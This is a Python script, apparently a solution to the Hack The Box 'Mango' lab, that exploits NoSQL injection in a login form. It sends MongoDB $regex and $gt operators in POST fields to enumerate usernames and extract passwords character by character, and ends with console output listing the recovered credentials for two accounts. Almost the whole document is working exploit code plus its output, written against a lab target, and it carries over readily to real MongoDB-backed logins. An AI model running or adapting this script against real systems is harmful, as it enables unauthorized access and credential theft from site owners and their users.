import sys
import string
import requests
class MangoBruteForcer:
def __init__(self, url):
#Constructor to initialize the class with the target URL
self.url = url
def brute_password(self, user):
#Function to brute force the password for a given username
password = ""
while True:
#Iterate over each character in the ASCII letters, digits and punctuations
for c in string.ascii_letters + string.digits + string.punctuation:
#Skip apecial characters that may interfere with the URL
if c in ["*", "+", ".", "?", "|", "\\"]:
continue
#Display the current password attempt in the console
sys.stdout.write(f"\r[+] Password: {password}{c}")
sys.stdout.flush()
#Send a POST request to the target URL with the current username and password regex
resp = requests.post(
self.url,
data={
"username": user,
"password[$regex]": f"^{password}{c}.*",
"login": "login",
},
)
# Check if the response indicates a successful login attempt
if "We just started farming!" in resp.text:
# If successful, update the password and make a final login attempt
password += c
resp = requests.post(
self.url,
data={"username": user, "password": password, "login": "login"},
)
#Check if the final login attempt is successful
if "We just started farming!" in resp.text:
#Print the found password and return from the function
print(f"\r[+] Found password for {user}: {password.ljust(20)}")
return
def brute_user(self, res):
# Function to brute-force the username and call brute_password on each attempt
found = False
for c in string.ascii_letters + string.digits:
# Display the current username attempt to the console
sys.stdout.write(f"\r[*] Trying Username: {res}{c.ljust(20)}")
sys.stdout.flush()
# Send a POST request to the target URL with the current username regex
resp = requests.post(
self.url,
data={
"username[$regex]": f"^{res}{c}",
"password[$gt]": "",
"login": "login",
},
)
# Check if the response indicates a successful username attempt
if "We just started farming!" in resp.text:
found = True
self.brute_user(res + c)
if not found:
print(f"\r[+] Found user: {res.ljust(20)}")
self.brute_password(res)
if __name__ == "__main__":
try:
target_url = "http://staging-order.mango.htb/"
brute_forcer = MangoBruteForcer(target_url)
initial_user = ""
brute_forcer.brute_user(initial_user)
except Exception as e:
print(f"Error: {e}")
[+] Found user: admin
[+] Found password for admin: t9KcS3>!0B#2
[+] Found user: mango
[+] Found password for mango: h3mXK8RhU~f{]f5H
[*] Trying Username: 9
